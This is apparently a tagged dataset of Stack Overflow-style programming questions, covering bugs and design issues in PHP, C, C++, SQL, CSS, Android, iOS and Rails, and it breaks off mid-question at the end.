asp.net web service data payloads  to keep my data payloads as agnostic as possible i want to use objects and arrays or objects (the objects are just containers for a bunch of primitive type ie: customer. store. etc)      does this make sense       i don t want to use something datasets which aren t as portable  make sense     what is the typical model most asp.netters are using today,asp.net
how to repeat a composed html header on each page printed  i have the scenario below in html5:   <pre><code>&lt;article&gt;   &lt;header style= position: fixed; &gt;     &lt;section style= float: left; &gt;       &lt;img src= path_to_img  /&gt;       &lt;h3&gt;my report&lt;/h3&gt;     &lt;/section&gt;     &lt;section style= float: left; &gt;       &lt;ul&gt;         &lt;li style= width: 50%; text-aligment: right; &gt;customer name:&lt;/li&gt;         &lt;li style= text-aligment: left; &gt;xyz company&lt;/li&gt;         &lt;li style= width: 50%; text-aligment: right; &gt;segment:&lt;/li&gt;         &lt;li style= text-aligment: left; &gt;electric equipment&lt;/li&gt;       &lt;/ul&gt;   &lt;/header&gt;   &lt;main id= content &gt;      ... html content ...   &lt;/main&gt; &lt;/article&gt; </code></pre>   so  i d like to print this  report  with the header above repeating on each page but  when  the content is filled  i don t know why  sometimes i have the header on the first page only  sometimes it appears from the second page ahead and i can t figure out the error.    any tip is welcome...    thanks!,html
warning: mysqli_select_db() expects exactly 2 parameters  0 given <pre><code>&lt; php define ( db_host    localhost ); // set database host define ( db_user    root ); // set database user define ( db_pass    ); // set database password define ( db_name   users ); // set database name  $link = mysqli_connect(db_host  db_user  db_pass) or die( couldn t make connection. ); $db = mysqli_select_db()($link   users ) or die( couldn t select database:   . mysqli_connect_error());  &gt; </code></pre>,php
to draw circle in which color change time to time in android       how can i draw circle in which circle will fill with different color slowly &amp; one bell ring when circle is completely fill.,android
jquery: append div containing javascript files   i am using jquery 1.4 and i am trying to append divs that contain javascript files from another domain. i have the following inline code at the end of the body  just after loading jquery:   <pre><code>&lt;script src= jquery-1.4.3.min.js &gt;&lt;/script&gt; &lt;script src= scripts.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; $(document).ready(function() {     var html =  &lt;div&gt;&lt;script type= text/javascript  src= http://example.com/foo &gt;&lt;/script&gt;&lt;/div&gt; ;     $( #container ).append(html);´ }); &lt;/script&gt; </code></pre>   the problem is that the output is:   <blockquote>     ; $( #container ).append(html); } });  </blockquote>   and it is not even displayed in #container but at the bottom of the body where the javascript code is.    edit: the javascript file inserts html for ads  so it cannot be loaded into the document head.,jquery
mod_php and zend engine  i m trying to really understand the different of jobs between mod_php and the zend engine. reading some post on stackoverflow i find an interesting answer about what is mod_php<br>   <blockquote>    basically  when loading mod_php as an apache module  it allows apache   to interpret php files (those are interpreted by mod_php).  </blockquote>   so php isn t interepreted by the zend engine but is interpreted by mod_php <br> i think i don t really understand what is meaning and what is the jobs of zend engine and the jobs of mod_php (fastcgi and so on...) and how the zend engine and mod_php communicate.<br> could someone explain this  thanks in advance.,php
static member functions in c++  i was going through one of the examples of c++  for cloning of an object.    <pre><code>#ifndef clipboardstack_h #define clipboardstack_h  #include &lt;qstack&gt;  #include  getentity.h   class clipboardstack { public:     static clipboardstack *instance()     {         if (!inst)             inst = new clipboardstack;          return inst;     }      void push(getentity *entity)     {         clips.push(entity);     }      getentity *pasteentity()     {         if (clips.count() == 0)             return 0;          return clips.last();     }      getentity *pop()     {         if (clips.count() == 0)             return 0;          return clips.pop();     }      bool isempty() const     {         return clips.empty();     }  private:     qstack&lt;getentity *&gt; clips;     static clipboardstack *inst; };  #endif // clipboardstack_h </code></pre>   where getentity is:   <pre><code>#ifndef getentity_h #define getentity_h  #include &lt;qgraphicsitem&gt;   class getentity : public qobject  public qgraphicsitem { public:    getentity(qobject *parent = 0) : qobject(parent) {}    virtual ~getentity() {}     virtual getentity *clone()    {        return 0;    }   };  #endif // gentity_h </code></pre>   but i couldn t get what exactly the line means.     what is the meaning of the line:   <pre><code>static clipboardstack *instance()     {         if (!inst)             inst = new clipboardstack;     return inst;  } </code></pre>   can someone explain me what does above line exactly do  and the two classes in brief,c++
c program output error <pre><code>#include&lt;stdio.h&gt;  int main() {   int m n;   float cake;    printf( enter total kgs of cake: );   scanf( &amp;d   &amp;n);    printf( enter the number of friends: );   scanf( &amp;d   &amp;m);    cake  = m/n;   printf(he has to distribute %f kg cake to each of his %d friends             &amp;cake  &amp;m);  } </code></pre>   when i run this program in codeblocks  it asks me for only to enter total kgs of cake  when i enter it and click on enter  the program just prints everything else in the printf functions below instead of asking me to enter the number of friends.,c
passing a pointer to a char array in c  i wrote a small test program to see how i can pass a pointer to a char array to a function.  this is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int scopy(char *org ){     printf( the value of org is %s    org);     printf( \n ); }  int main(void) {     char original[11];     strcpy(original    helloworld );      scopy(original);      printf( the value of original now is %s    original);      return 0; } </code></pre>   my knowledge of pointers tells me that org is a pointer that is passed the memory address of original[0]   when i execute this program i observe a few things that has confused me and has caused me to doubt the facts i have learnt about pointers.    when i print org i get the complete word back . but according to the logic if pointers isnt this supposed to print out the memory address;    when i try printing out out[1]   out[2]   codepad tells me that the process has ended abnormally    my  basic doubt in this question is what exactly is org doing   i understand it is a char pointer pointing to a memory address (which  ) . any help would be appreciated . i am very new to c programming .    also when i try a while loop like   <pre><code>while(out[i] != \0 ) printf( %s  out[i]); </code></pre>   it does not terminate at the  \0  . the strcpy documentation states that the  \0  is copied to the char array.,c
comma with decimal value <pre><code>private void textbox_textchanged(object sender  eventargs e) {     string value = textbox.text.replace(       );     long ul;     if (long.tryparse(value  out ul))         {             textbox.textchanged -= textboxtextchanged;             textbox.text = string.format( {0:# #0}   ul);             textbox.selectionstart = textbox.text.length;             textbox.textchanged += textboxtextchanged;         } } </code></pre>   i want to put comma with decimal value in calculator by pressing equal button in c# (example : 1234.1234 to 1 234.1234)    but it is not giving my desire result. could any kindly please help me to solve this problem,c#
angular-carousel is not working <pre><code>&lt;div&gt;     &lt;carousel interval= myinterval &gt;         &lt;slide ng-repeat= slide in slides  active= slide.active &gt;             &lt;img ng-src= {{slide.image}}  style= margin:auto;width: 200px;height: 200px; &gt;             &lt;div class= carousel-caption &gt;                 &lt;p&gt;{{slide.text}}&lt;/p&gt;             &lt;/div&gt;         &lt;/slide&gt;     &lt;/carousel&gt; &lt;/div&gt;      $scope.myinterval = 5000;     var slides = $scope.slides = [];     slides.push({image:  img/css1.png   text:  亲爱的你，情人节快乐 });     slides.push({image:  img/css2.png   text:  亲爱的你，情人节快乐 });     slides.push({image:  img/css3.png   text:  亲爱的你，情人节快乐 });     slides.push({image:  img/css4.png   text:  亲爱的你，情人节快乐 });     slides.push({image:  img/css5.png   text:  亲爱的你，情人节快乐 });     slides.push({image:  img/css6.png   text:  亲爱的你，情人节快乐 }); </code></pre>   i  m trying to make a demo of carsousel.  i just follow the code as the link.<a href= http://www.cnblogs.com/ilovewindy/p/3777831.html  rel= nofollow >enter link description here</a>and the images are just listed on the view.it confused me.i don t know what else should i do  thanks in advance!!,angularjs
how does the <article> tag calculate it s content height  <pre><code>&lt;!doctype html&gt; &lt;html&gt;   &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;title&lt;/title&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;article&gt;       &lt;h4&gt;post title&lt;/h4&gt;       &lt;p&gt;content blah blah blah&lt;/p&gt;     &lt;/article&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   i m assuming the article content height has been rounded up from 57.266 that s why it shows 57.27.    <a href= https://i.stack.imgur.com/rvv2r.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rvv2r.png  alt= article content height ></a>    but how is 57.266 calculated     at the moment i m thinking that it s adding the h4 content height + h4 margin bottom + p content height.     which is 18 + 21.280 + 18 = 57.28. that can t be right since it s off by 0.014.    how is this article content height calculated     <a href= https://i.stack.imgur.com/h8ddo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/h8ddo.png  alt= h4 element ></a>    <a href= https://i.stack.imgur.com/p2ctr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p2ctr.png  alt= p element ></a>,html
javascript drop down list equal to the same number of textbox  i have one drop-down list that has numbers 1-10 and a proceed button.<br> what i want is  when the user select a specific number and the user click the proceed button  it should display a number of textboxes equal to the number of selected in the drop-down list.    is it possible to doit with a loop  or any suggestions,javascript
dll deployment strategies  if you have a modular applicaiton that depends on its modules to be in seperate libraries ( <code>dlls</code> ).   <blockquote>    what kind of <strong>re</strong>-deployment   strategy would be good to follow   </blockquote>   the application is installed using the <code>setup project</code> that is available in visual studio.    <strong>i would like to avoid the copy and paste approach!</strong>,.net
can i prevent comparison to null with overloaded operator==   let s say i have a string class that i want to be able to construct or assign with a pointer  but disallow compiling with an explicit std::nullptr assignment:   <pre><code>class string { public:     string(const char *);     friend bool operator== (const string &amp;  const char *);     friend bool operator!= (const string &amp;  const char *);     // some important things left out private:     string(std::nullptr_t); } </code></pre>   the purpose is to give  error:  operator=  is a private member of  string   if i try to write  str = null   which helps me identify some bugs in an old codebase.  obviously  the public constructor should handle the nullptr case as well.  additionally  it helps me identify some similar issues such as  str = 0   which the compiler will report as ambiguous.    my question is - can i do something similar with binary comparison operators  operator== and operator!=   i would like the compiler to report an attempted comparison to std::nullptr_t  which is also very common in my codebase.,c++
why is it scrolling   i m not sure what is causing my webpage to have a scroll bar.  jsfiddle: <a href= http://jsfiddle.net/xhvex/  rel= nofollow >http://jsfiddle.net/xhvex/</a>   <pre><code>&lt;html&gt; </code></pre>,html
min-height on inline-block not working  why is this <code>div</code> element clipping the content  it should fit the content    <a href= http://jsfiddle.net/ojfxtwdv/  rel= nofollow >http://jsfiddle.net/ojfxtwdv/</a>   <pre><code>&lt;div&gt;     text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;     text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt;text&lt;br&gt; &lt;/div&gt;  div {     display: inline-block;     height: 200px;     min-height: 200px;     padding: 20px;     width: 100%;     border:1px solid black; } </code></pre>,css
different application name for development/release build  i have an ios application that has  sysadmin  only features when in the development build which are removed for the release build.    what is the easiest way to have two builds on our testing devices in house  one in development mode  and one in release mode that have different names on the ios home screen     the current situation is that when we want to test the release build  i have to manually rebuild it for each device. when we want to switch back  i have to once again manually rebuild the application.,ios
select distinct still showing duplicate result  i have a html <strong>select</strong> form filled by sql query using select distinct... the idea is to not show duplicate values from database  and it s almost working  but in some case it s giving a problem. to fill the sql columns i m using a php reading a txt file with delimiters and explode function. if i have in the txt file 10 duplicate columns  on my html  it shows 2  instead of only 1... and i note that 1 is with 9 of the entries from database  and the other one have 1 entry that is always the last line from txt file. resuming: the last line of txt file always duplicate on the html select form. checking the database  everything looks ok  i really don t know why it s duplicating always in the last one. i told about the php that make the sql entry because i m not sure if the problem is in the php that contains the html select or in the php that fill the database... i believe that the problem is in the php with html select since i m looking in the database and everything is ok. the sql query in this php is like this:   <pre><code>&lt;td class= formstyle &gt;&lt;select name= basenamelst  class= formstyle  id= basenamelst &gt; &lt;option value= any &gt;any&lt;/option&gt; &lt;  $sql = mysql_query( select distinct basename from dumpsbase where sold=0 ); while($row = mysql_fetch_assoc($sql))   {     if($row[ basename ] ==   )      {     echo  &lt;option value=  .htmlspecialchars($row[ basename ]  ent_quotes   utf-8 ).  &gt;unknown&lt;/option&gt; ;       }     else      {        echo  &lt;option value=  .htmlspecialchars($row[ basename ]  ent_quotes   utf-8 ).  &gt; .htmlspecialchars($row[ basename ]  ent_quotes   utf-8 ). &lt;/option&gt; ;       }    }  &gt; &lt;/select&gt; </code></pre>   remember: if i upload to database 10 duplicate columns  it shows 2 on select. one with 9 entries  and another with 1 entry (always the last line of my txt file)... okay  many people told me to trim() the columns and it still showing duplicate... so i came to the conclusion that i have some issue while loading the txt for database. here is the code where i get the values to put on database:   <pre><code>$file = fopen($targetpath   r ) or exit( unable to open uploaded file! );  while(!feof($file))  {    $line = fgets($file);    $details = explode(  |    $line);     foreach($details as &amp;$value) // clean each field     {       $value = mysql_real_escape_string($value);       if($value ==   )      {        $value =  none ;      }      }    unset($value);  mysql_query( insert into dumpsbase values( null    $details[0]    $details[1]    $details[2]    $details[3]    $details[4]    0    $price    none   now()   none    none ) ) or die ( uploading error! ); </code></pre>,php
why am i not in the targeted group for my app   i just uploaded my first app to the android market. it contains ads from admob  so i had to set target=android-13 in the project properties file.    in the manifest  i set   <pre><code>&lt;uses-sdk android:minsdkversion= 4  android:targetsdkversion= 13  /&gt; </code></pre>   i also tried just   <pre><code>&lt;uses-sdk android:minsdkversion= 4  /&gt; </code></pre>   but in either case  the market tells me  you re not in the targeted group for this item  with my android 2.2 device.    androids developer console says: api level: 4-16+ supported screens: small-xlarge opengl textures: all    so  what are the right settings,android
designing sql server database  i m new to sql and database design.    i have a task where i need to create a table with users (student or teacher)  each user can be in a group or more  and each group can get one or more tasks to solve.    i created the design  but i think is a problem with the entity <code>group</code>  because when i what to add data there  i can t do it (i have only the id  but no other data. i m sure i did something wrong).    adding data to the <code>user</code> entity is working.    what should i change or how i should add users to the group     <a href= https://i.stack.imgur.com/tdisr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tdisr.png  alt= enter image description here ></a>,sql
creating a balancing class to balance weights  first of all i must admit that it is my assignment. but i am not asking anyone to solve it but i am working hard to solve it and need help with my algorithm.     i have an array of weights that is assigned to leftside and rightside of a scale. i need to balance the weights in right side and left side using the weights in the array.     i have the following code but it does not cover all the situations:    <pre><code>-(bool) isbalanced {     _weights = [nsmutablearray arraywitharray:@[@3 @4 @2 @1 @5 @6 @4]];      self.leftside =  [[_weights objectatindex:arc4random() % 7] integervalue]; // random weight     self.rightside = [[_weights objectatindex:arc4random() % 7] integervalue]; // random weight      if(self.leftside == self.rightside) return yes; // already balanced      if(self.leftside &gt; self.rightside)     {         // add weights on right side         int difference = self.leftside - self.rightside;         int index = [_weights indexofobject:[nsnumber numberwithint:difference]];         self.rightside += [[_weights objectatindex:index] integervalue];          nslog(@ %d  index);     }     else     {         int difference = self.rightside - self.leftside;         int index = [_weights indexofobject:[nsnumber numberwithint:difference]];         self.leftside += [[_weights objectatindex:index] integervalue];         nslog(@ %d  index);     }      return self.leftside == self.rightside; } </code></pre>   update:     to simplify! i have a number 6 and now i need to search inside an array of ints if any of the numbers can be added together to get 6. example:    <pre><code>1 2 3 5 4  </code></pre>   in the above array i can take 1+2+3 which makes 6. i can also take 4+2 which is 6. the question is how do i find those individual numbers that can sum up to the number 6.,objective-c
allowdefinition= machinetoapplication  error  when i am deploying a project in visual studio 2008  i am getting the following error. what would cause this and how would i go about fixing it    <blockquote>    it is an error to use a section registered as allowdefinition= machinetoapplication  beyond application level.  this error can be caused by a virtual directory not being configured as an application in iis.      </blockquote>,asp.net
find an integer value inside a string  i m looking to find the integer value inside the following string:     value= 5412304756756756756756792114343986     how can i do this using c#,c#
how the same spinner looks different in different device  hi i have created a spinner using the following code. i didn t set any background image. i am getting good look and feel in motorolla milestone but some rubbush look and feel in samsung galaxy ace!   <pre><code>&lt;spinner                     android:layout_width= 160dip                      android:layout_height= 40dip                      android:id= @+id/spncontacttypes  /&gt; </code></pre>   see the different outputs of same spinner    <img src= https://i.stack.imgur.com/ipi84.png  alt= enter image description here >,android
how to reference the uiwindow from sub uiviewcontrollers   i am trying to add another subview programmatically based on some event (user taps a button  for instance).    my problem is that i am having problems referencing the (one and only) instance of uiwindow. i reach it from my appdelegate  because the mainwindow.xib and the appdelegate have been wired up. but i cannot reach the uiwindow from anywhere else (i cannot draw that connection in ib  can i )    what techniwue is preferred to get a reference to (the one and only) uiwindow  ...so that i in turn can use the following code from my various uiviewcontrollers:   <pre><code>[myoneandonlywindow addsubview:oneofmanyviews.view]; [myoneandonlywindow makekeyandvisible]; </code></pre>,iphone
css dropdown menu separate first item  i m trying to build a menu in css using flexbox. i have already made it responsive so it shrinks from horizontal menu to dropdown menu.    but i struggle separating first menu link from others and putting on the left while the rest are on the right. as shown in picture i want to put first li the home icon on the left and the rest li items on the right.    any suggestions      <a href= https://i.stack.imgur.com/8c3kj.jpg  rel= nofollow noreferrer >menu example</a>,css
what does a not a statement mean  <pre><code>pane pane = new pane(); string str = new string( welcome to java ); string[] ary = str.split(  );   for(int i =0; i&lt;=str.length(); i++){     int x = 50;     int y = 100;     int r = 3;     text text2 = new text(x y  ary[i]);     text2.setrotate(r);     pane.getchildren().add(text2);     x+10;     y+5;     r+3; }   scene scene = new scene(pane); primarystage.setscene(scene); primarystage.setminwidth(200); primarystage.setminheight(200); primarystage.setresizable(true); primarystage.settitle( welcome to java ); primarystage.show(); </code></pre>   i m trying to change the coordinate for every character in the array every loop  but this gives me a  not a statement error  at <code>x+10</code>  <code>y+5</code> and <code>r+3</code>.,java
is it possible to set a preference with a mysql  or  query   i have a simple table that contains nutritional data for vegetables (for example).  in some cases (but not all)  the data may differ according to the variety of vegetable.      on a page-level  i want to output the data for the variety itself if it s present  but if not  then output the data for the vegetable in general.      here s my query (the  carrot  values are actually numeric in reality  i ve changed them here for ease of understanding);   <pre><code>select * from fp_nutrition where fpid= carrot variety  and approval_status= approved  or fpid= carrot  and approval_status= approved  order by nutriid desc </code></pre>   for clarity  let s assume this query is run on the page for  carrot variety .    in its current form  it returns (for example) 2 rows - one for  carrot  and one for  carrot variety .  is there a way i can change this query so it only returns a single row - but that single row is the most appropriate of (so  carrot variety  being preferred  but  carrot  returned if it s not there).    the only solution i have come up with so far is to order by fpid desc and limit 1  however that relies on the data for  carrot  always being added first (likely  but i d prefer not to have to rely on that scenario).,mysql
highest value datatype can store in c#  i am writing a small program for my assignment to find the primitive roots of a prime number. so far  the program works for smaller prime numbers till 13 and gives correct number of roots. but for higher primes numbers  it is showing only fewer primitive roots. and now i got stuck for the prime number 41  shows no primitive roots for it. i used double datatype for the calculation  and again tried with the datatype decimal  but no luck. does anyone know about this kind of problem    thank you.,c#
how can i make the loop account for multiple occurrences   i m trying to make a code that backspaces for every time the character <code>&lt;</code> is found in the string.    the code i have only seems to do it the first time it appears and nothing happens in the succeeding times it appears.    any tips on how to fix please  is there a more efficient loop i can use    <pre><code>void decodeback(string orig  string search  string replace) {   size_t pos = 0;   do {     pos = orig.find(search  pos);     if (pos == string::npos)       break;     orig.erase(pos  search.length());     orig.erase(pos - 1  search.length());      cout &lt;&lt; orig &lt;&lt; endl;   } while (pos += replace.length()); }  int main() {   // input the question   string question =  what is the message   ;   // output the answer   string answer =  the real message is  ;    // special characters   string shift =  ^ ;   string back =  &lt; ;   string test =  a ;    // input the coded message   string answer1;    // output decoded message   string answer2;    cout &lt;&lt; question;   cin &gt;&gt; answer1;   cout &lt;&lt;  decoding  ;    decodeback(answer1  back  test);    return 0; } </code></pre>   example input:   <pre><code>hello&lt;&lt; </code></pre>   desired output:   <pre><code>hel </code></pre>   actual output:   <pre><code>hell&lt; </code></pre>,c++
how to update counter_cache when updating a model   i have a simple relationship:   <pre><code>class item   belongs_to :container  :counter_cache =&gt; true end  class container   has_many :items end </code></pre>   let s say i have two containers. i create an item and associate it with the first container. the counter is increased.    then i decide to associate it with the other container instead. how to update the items_count column of both containers     i found a possible solution at <a href= http://railsforum.com/viewtopic.php id=39285  rel= noreferrer >http://railsforum.com/viewtopic.php id=39285</a> .. however i m a beginner and i don t understand it. is this the only way to do it,ruby-on-rails
counter variable not working   i m writing a function to count syllables of a word as follows:   <pre><code>function estimate_syllables($word) {     $total_count=0;      foreach($word as $w) {         $syllable_count = count_english_vowels($w);         $total_count += $syllable_count;      }     return $total_count; }  function count_english_vowels($word) {     static $english_vowels = array( a    e    i    o    u    y );     $vowel_count = 0;     $letters = preg_replace( /[^a-z0-9]+/i       $word);     $len = strlen($letters);      $letters = str_split(strtoupper($letters));      $currposition = -2;      $prevposition = -1;     for($i = 0; $i &lt; $len; $i++) {         if (in_array($letters[$i]  $english_vowels)) {             if($i != $currposition + 1) {                 if ($letters[$i] ==  e  &amp;&amp; $i != ($len -1))                     $vowel_count++;                  $prevposition = $currposition;                  $currposition = $i;             }          }     }     return $vowel_count; } </code></pre>   i m really confused: if you pass count_english_vowels a word like water  it reaches the inner loop to the correct syllable twice  yet the counter only reports a 1  super confused  can anyone figure out what s going wrong,php
facebook style menu for ios  on table cell click in menu  go to view with nib name  i m making a facebook style menu for ios  on table cell click in menu  go to view with nib name...     i have achieved this up to a point where i need to create a new view with a nib name  listingsviewcontroller . i have this code  but this is obviously replacing the menu view  when you slide it open  rather than the actual window view. when a cell is clicked  the men u should close and open the new view  but instead the menu closes  and when you reopen the menu  the listings view is in the menu view  not the actual main view when the menu is shut.   <pre><code>[self presentmodalviewcontroller:viewcontroller animated:yes]; </code></pre>,objective-c
sql select with multiple ids  i have an address history table with three fields: <code>empid</code>  <code>address</code>  <code>addrid</code>.    every time i add a new address  i also increment the address id (<code>addrid</code>) by 1 for that particular employee.   <pre><code>empid | addrid | address -------------------------------  1    |     1  | 1234 first ave  1    |     2  | 2145 first ave  1    |     3  | 1111 first ave   2    |     1  | 1001 second st  2    |     2  | 1002 second st  2    |     3  | 1003 second st  2    |     4  | 2222 second st   3    |     1  | 3332 third lane  3    |     2  | 3333 third lane   4    |     1  | 4444 fourth way </code></pre>   how do i get the most recent address (highest address id) for each employee   ideally  i should be able to return:   <pre><code>empid | addrid | address -------------------------------  1    |     3  | 1111 first ave  2    |     4  | 2222 second st  3    |     2  | 3333 third lane  4    |     1  | 4444 fourth way </code></pre>   so far i have either returned too many results (ie  every employee  every addrid 1  and every address associated with the two)  or too few results (ie  every employee with an addrid 4 - just employee 2).    i have tried using <code>distinct</code>  <code>group by</code>  <code>order by</code>  <code>having</code>  and self-joins to no avail.    what am i missing,sql
rails: ordering objects created in 3 days  i want to display the hottest posts in 3 days  so this is what i do    <code>@posts = post.created_in_days(3).order_by_likes.first(4)</code>    for queries:   <pre><code>scope :order_by_likes  -&gt; { order( likes is null  likes desc ) } scope :created_in_days  -&gt;(number)  {where( created_at &gt;=     time.zone.now - number.days)} </code></pre>   this works fine. but the problem is  sometimes there is not enough <code>posts</code> generate in 3 days. maybe just 3  or even no post at all.    how can i handle this so when <code>@posts</code> created in 3 days is not enough  it would extend the time  till it get enough <code>@posts</code>  (in this case  <code>4 post</code> needed).,ruby-on-rails
querying for multiple many-to-many associates in mysql  <strong>background</strong>    my program is storing a series of objects  a set of tags  and the many-to-many associations between tags and objects  in a mysql database.  to give you an idea of the structure:   <pre class= lang-sql prettyprint-override ><code>create table objects (     object_id int primary key      ... ); create table tags (     tag_name varchar(32) not null ); create table object_tags (     object_id int not null      tag_name varchar(32) not null      primary key (object_id  tag_name) ); </code></pre>   <strong>problem</strong>    i want to be able to query for all objects that are tagged with all of the tags in a given set.  as an example  let s say i have a live tree  a dead flower  an orangutan  and a ship as my objects  and i want to query all of those tagged <em>living</em> and <em>plant</em>.  i expect to receive a list containing only the <em>tree</em>  assuming the tags match the characteristics of the objects.    <strong>current solution</strong>    presently  given a list of tags t1  t2  ...  tn  i am solving the problem as follows:   <ol> <li>select all <code>object_id</code> columns from the <code>object_tags</code> table where <code>tag_name</code> is t1.</li> <li>join the result of (1) with the <code>object_tags</code> table  and select all <code>object_id</code> columns where <code>tag_name</code> is t2.</li> <li>join the result of (2) with the <code>object_tags</code> table again  and select all <code>object_id</code> columns where <code>tag_name</code> is t3.</li> <li>repeat as necessary for t4  ...  tn.</li> <li>join the result of (4) with the <code>objects</code> table and select the additional columns of the objects that are needed.</li> </ol>   in practice (using java)  i start with the query string for the first tag  then prepend/append the string parts for the second tag  and so on in a loop  before finally prepending/appending the string parts that make up the overall query.  only then does the string actually get passed into a <code>preparedstatement</code> and get executed on the server.    <em>edit</em>: expanding on my example from above  using this solution i would issue the following query:   <pre class= lang-sql prettyprint-override ><code>select object_id from object_tags join (     select object_id from object_tags where tag_name= living  ) as _temp using (object_id) where tag_name= plant ; </code></pre>   <strong>question</strong>    is there a better solution to this problem   although the number of tags is not likely to be large  i am concerned about the performance of this solution  especially as the database grows in size.  furthermore  it is very difficult to read and maintain the code  especially when the additional concerns/constraints of the application are thrown in.    i am open to suggestions at any level  although the languages (mysql and java) are not variables at this point.,mysql
c libcurl curlopt_postfields strange error  i m a quite new c developer and i have a little trouble with libcurl. i searched a lot in the net before but i didn t managed to find an answer working for me.    this is pure c  no ++.    i have this code and the request is failing   <pre><code>char * write_url(mydata data) {   char *field = malloc(20 * sizeof(char));    if (strcmp(data.sensorname  temperature )==0){       sprintf(field  &amp;temperature=%.2f  data.measure);    }    curl *curl;   curl_global_init(curl_global_all);   curl = curl_easy_init();   curl_easy_setopt(curl  curlopt_verbose  1);   curl_easy_setopt(curl  curlopt_url   http://127.0.0.1/ );   curl_easy_setopt(curl  curlopt_post  1);    curl_easy_setopt(curl  curlopt_postfields  field);   curl_easy_perform(curl);   curl_easy_cleanup(curl); } </code></pre>   but if i change   <pre><code>  curl_easy_setopt(curl  curlopt_postfields  field); </code></pre>   for   <pre><code>char *data= &amp;temperature=20 ;  curl_easy_setopt(curl  curlopt_postfields  data); </code></pre>   it s working.  but i want to pass the data through that funcion!    thanks!,c
doubly linked list deleting string from list  i m new to c and need your assistance please. i have posted already 2 parts of the big linked list issues i was having because i didn t want to bombard you all with a big code so i m doing this in parts. this is a new question though so if you could explain me i would really appreciate it as always.    i have a function on my doubly linked list that is supposed to delete a string that s on my list but i seem to have a problem it s not deleted anything. in fact it get s me stuck and i can t input anything. i would like to paste my code for you to maybe understand better with what i m dealing with. love your help!    this is my struct node:   <pre><code> struct node  {  char data[100];  struct node *previous;  // points to the previous node  struct node *next;   // points out to the next node  }*head  *last; </code></pre>   this is my function called: delete_from_middle   <pre><code> char delete_from_middle(char words[99])  {   struct node *temp *var *temp1;   temp=head;   strcpy(temp-&gt;data  words);    while (temp!=null)   {     if (temp-&gt;data == words)     {         if (temp-&gt;previous==null)         {             free(temp);             head=null;             last=null;             return 0;         }         else         {             var-&gt;next=temp1;             temp1-&gt;previous=var;             free(temp);             return 0;         }     }     else     {         var=temp;         temp=temp-&gt;next;         temp1=temp-&gt;next;       }    }   printf(  data deleted from list is %s \n   words);   return 0;  } </code></pre>   and this is where i assign it on my main   <pre><code> int main()  {   char loc[99];   char words[99];   int i  dat;    head=null;  printf( select the choice of operation on link list ); printf( \n1.) insert at begning\n2.) insert at end\n3.) insert at middle ); printf( \n4.) delete from end\n5.) reverse the link list\n6.) display list\n7.)exit );  while(1) {     printf( \n\n enter the choice of operation you want to do  );     scanf( %d  &amp;i);      switch(i)     {         case 1:         {             printf( enter a word you want to insert in the 1st node  );             scanf(  %s  words);              insert_beginning(words);             display();             break;         }         case 2:         {             printf( enter a word you want to insert in the last node  );             scanf(  %s  words);             insert_end(words);             display();             break;         }         case 3:         {             printf( after which data you want to insert your new data  );             scanf(  %s  words);              printf( enter the data you want to insert in list  );             scanf(  %s  loc);              insert_after(words  loc);             display();             break;         }         case 4:         {             delete_from_end();             display();             break;         }         case 5:         {             printf( enter the value you want to delete );             scanf(  %s  words);             delete_from_middle(words);             display();             break;         } </code></pre>   really sorry if the code seems long but i really tried to figure how to do it. any help  please let me know if i m missing something or if my question is not correctly asked.,c
how to receive the value in the form submit php <pre><code>&lt;select name= gender  id= gender &gt; &lt;option selected= selected  value= woman &gt;女士&lt;/option&gt; &lt;option value= man &gt;先生&lt;/option&gt; &lt;/select&gt; </code></pre>   the above code is in a form  when submit the form to test.php. how to get the selected value 女士 or 先生.    i know this can get.   <pre><code>if($_post[ gender ]== woman ){ $_post[ gender ]= 女士 ; }else{ $_post[ gender ]= 先生 ; } </code></pre>   is there a way to get the text. thank you,php
uipickerview on uiscrollview   in my app i have a uipickerview on uiscrollview. when i check the delaycontenttouches in ib the uiscrollview scrolls  but uipickerview do not scrolls smoothly. and if i uncheck it then my uipickerview scrolls smoothly but uiscrollview do not. uiscrollview is added as subview to my view. all controls are on the uiscrollview. i am unable to figure it out why its behaving like this. please guide me. is i am missing something or doing wrong     thanks  panache.,iphone
output student number that exists only on primary key but doesn t exist on foreign key  i have two tables    <code>student</code> table    <ul> <li>student number  primary key</li> </ul>   <code>grade</code> table   <ul> <li>student number  foreign key</li> </ul>   i want to display only students that exist in the <code>student</code> table but don t exist in the <code>grade</code> table,sql
objective c sqlite no select works  i can t make a select on a table in a sqlite database.    i have the following code to copy the .sqlite-file to the user s directory:   <pre><code>    // copy the database to the user s directory - (void)checkandcreatedb {     // check if the sql database has already been saved to the users phone  if not then copy it over     bool success;      // create a filemanager object  we will use this to check the status     // of the database and to copy it over if required     nsfilemanager *filemanager = [nsfilemanager defaultmanager];      // check if the database has already been created in the users filesystem     success = [filemanager fileexistsatpath:databasepath];      // if the database already exists then return without doing anything     if(success) return;      // if not then proceed to copy the database from the application to the users filesystem      // get the path to the database in the application package     nsstring *databasepathfromapp = [[nsbundle mainbundle] pathforresource:databasename oftype:nil];     // copy the database from the package to the users filesystem     [filemanager copyitematpath:databasepathfromapp topath:databasepath error:nil];     [filemanager release]; } </code></pre>   and the select here:   <pre><code>sqlite3 *database;  categories = [[nsmutablearray alloc] init];  if(sqlite3_open([databasepath utf8string]  &amp;database) == sqlite_ok) {         const char *sqlstatement =  select * from category ;         sqlite3_stmt *compiledstatement;     nslog(@ get );         if(sqlite3_prepare_v2(database  sqlstatement  -1  &amp;compiledstatement  null) == sqlite_ok) {         nslog(@ test );         while(sqlite3_step(compiledstatement) == sqlite_row) {                 nsstring *cid = [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  1)];                 nsstring *cname = [nsstring stringwithutf8string:(char *)sqlite3_column_text(compiledstatement  2)];                  category *category = [[category alloc] initwithid:cid 